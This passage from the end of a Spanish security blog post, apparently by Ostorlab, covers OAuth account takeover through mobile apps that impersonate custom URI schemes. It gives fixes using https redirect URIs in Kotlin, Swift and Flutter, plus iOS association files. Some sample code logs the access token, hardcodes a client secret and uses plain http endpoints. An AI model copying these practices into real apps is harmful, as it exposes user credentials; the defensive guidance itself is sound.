val authRequestBuilder: AuthorizationRequest.Builder = Builder(
    mAuthStateManager.getCurrent().getAuthorizationServiceConfiguration(),
    mClientId.get(),
    ResponseTypeValues.CODE,
    "https://auth.myapp.com/oauth/handler" // The redirect URI with an https scheme
)
    .setScope(mConfiguration.getScope())
if (!TextUtils.isEmpty(loginHint)) {
    authRequestBuilder.setLoginHint(loginHint)
}
mAuthRequest.set(authRequestBuilder.build())

iOS

En iOS, es necesario tener alojado en su backend el archivo /.well-known/apple-app-site-association con un formato como este:

{
    "applinks": {
        "details": [{
            "appID": "ABCDE12345.com.myapplication.ios",
            "paths": ["/oauth/redirect/*"]
        }]
    },
    "appclips":{
        "apps":[
            "ABCDE12345.com.myapplication.ios"
        ]
    },
    "webcredentials":{
        "apps":[
            "ABCDE12345.com.myapplication.ios"
        ]
    }
}

release.entitlements

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    ...
    <key>com.apple.developer.associated-domains</key>
    <array>
        <string>applinks:auth.myapp.com</string>
    </array>
    ...
</dict>
</plist>

Swift

func doAuthWithAutoCodeExchange(configuration: OIDServiceConfiguration, clientID: String, clientSecret: String?) {

    guard let appDelegate = UIApplication.shared.delegate as? AppDelegate else {
        self.logMessage("Error accessing AppDelegate")
        return
    }

    // builds authentication request
    let request = OIDAuthorizationRequest(configuration: configuration,
                                          clientId: clientID,
                                          clientSecret: clientSecret,
                                          scopes: [OIDScopeOpenID, OIDScopeProfile],
                                          redirectURL: "https://auth.myapp.com/oauth/handler",
                                          responseType: OIDResponseTypeCode,
                                          additionalParameters: nil)

    // performs authentication request
    logMessage("Initiating authorization request with scope: \(request.scope ?? "DEFAULT_SCOPE")")

    appDelegate.currentAuthorizationFlow = OIDAuthState.authState(byPresenting: request, presenting: self) { authState, error in

        if let authState = authState {
            self.setAuthState(authState)
            self.logMessage("Got authorization tokens. Access token: \(authState.lastTokenResponse?.accessToken ?? "DEFAULT_TOKEN")")
        } else {
            self.logMessage("Authorization error: \(error?.localizedDescription ?? "DEFAULT_ERROR")")
            self.setAuthState(nil)
        }
    }
}

Flutter

Gradle

// android/build.gradle

android {
    // ...
    defaultConfig {
        // ...
        // Add the following line
        manifestPlaceholders = [auth0Domain: "auth.myapp.com", auth0Scheme: "https"]
    }
    // ...
}

Dart

final authorizationEndpoint =
    Uri.parse('http://example.com/oauth2/authorization');
final tokenEndpoint = Uri.parse('http://example.com/oauth2/token');

final identifier = 'my client identifier';
final secret = 'my client secret';

// Redirect URI with custom scheme
final redirectUrl = Uri.parse('https://auth.myapp.com/oauth/handler');

final credentialsFile = File('~/.myapp/credentials.json');

Future<oauth2.Client> createClient() async {
  var exists = await credentialsFile.exists();

  if (exists) {
    var credentials =
        oauth2.Credentials.fromJson(await credentialsFile.readAsString());
    return oauth2.Client(credentials, identifier: identifier, secret: secret);
  }

  var grant = oauth2.AuthorizationCodeGrant(
      identifier, authorizationEndpoint, tokenEndpoint,
      secret: secret);

  var authorizationUrl = grant.getAuthorizationUrl(redirectUrl);

  await redirect(authorizationUrl);
  var responseUrl = await listen(redirectUrl);

  return await grant.handleAuthorizationResponse(responseUrl.queryParameters);
}

Conclusión

En conclusión, la amenaza de la toma de control de cuentas OAuth mediante la suplantación de aplicaciones móviles con esquemas personalizados es una preocupación acuciante tanto para los usuarios como para los proveedores de OAuth.

Google ya ha empezado a tomar medidas al desactivar de forma predeterminada el método de redirección con esquema de URI personalizado para los clientes de Android.

En Ostorlab hemos tomado medidas desarrollando reglas de detección para automatizar la detección de este patrón de vulnerabilidad y ya lo hemos notificado a todas las aplicaciones principales con más de 100M de instalaciones. También hemos incluido la detección en Ostorlab Community Scanner.

Detección de OAuth de Ostorlab
Detección de OAuth de Ostorlab

Etiquetas:

security